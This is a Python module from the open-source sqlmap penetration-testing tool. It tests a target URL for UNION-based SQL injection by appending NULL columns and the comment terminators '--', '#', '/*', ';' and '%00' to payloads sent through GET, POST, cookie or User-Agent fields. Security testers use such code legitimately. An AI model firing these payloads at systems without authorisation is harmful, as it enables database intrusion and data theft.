#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
                        and Daniele Bellucci <daniele.bellucci@gmail.com>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""



from lib.core.agent import agent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setUnion
from lib.request.connect import Connect as Request


def __effectiveUnionTest(query, comment):
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """

    resultDict = {}

    for count in range(0, 50):
        if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
            query = query[:-len(" FROM DUAL")]

        if count:
            query += ", NULL"

        if kb.dbms == "Oracle":
            query += " FROM DUAL"

        commentedQuery = agent.postfixQuery(query, comment)
        payload = agent.payload(newValue=commentedQuery)
        newResult = Request.queryPage(payload)

        if not newResult in resultDict.keys():
            resultDict[newResult] = (1, commentedQuery)
        else:
            resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)

        if count:
            for element in resultDict.values():
                if element[0] == 1:
                    if kb.injPlace == "GET":
                        value = "%s?%s" % (conf.url, payload)
                    elif kb.injPlace == "POST":
                        value  = "URL:\t'%s'" % conf.url
                        value += "\nPOST:\t'%s'\n" % payload
                    elif kb.injPlace == "Cookie":
                        value  = "URL:\t'%s'" % conf.url
                        value += "\nCookie:\t'%s'\n" % payload
                    elif kb.injPlace == "User-Agent":
                        value  = "URL:\t\t'%s'" % conf.url
                        value += "\nUser-Agent:\t'%s'\n" % payload

                    return value

    return None


def unionTest():
    """
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 3*50 times
    """

    logMsg  = "testing inband sql injection on parameter "
    logMsg += "'%s'" % kb.injParameter
    logger.info(logMsg)

    value = ""

    query = agent.prefixQuery("UNION ALL SELECT NULL")

    for comment in ("--", "#", "/*", ";", "%00"):
        value = __effectiveUnionTest(query, comment)

        if value:
            setUnion(comment, value.count("NULL"))

            break

    if kb.unionCount:
        logMsg  = "the target url could be affected by an "
        logMsg += "inband sql injection vulnerability"
        logger.info(logMsg)
    else:
        warnMsg  = "the target url is not affected by an "
        warnMsg += "inband sql injection vulnerability"
        logger.warn(warnMsg)

    return value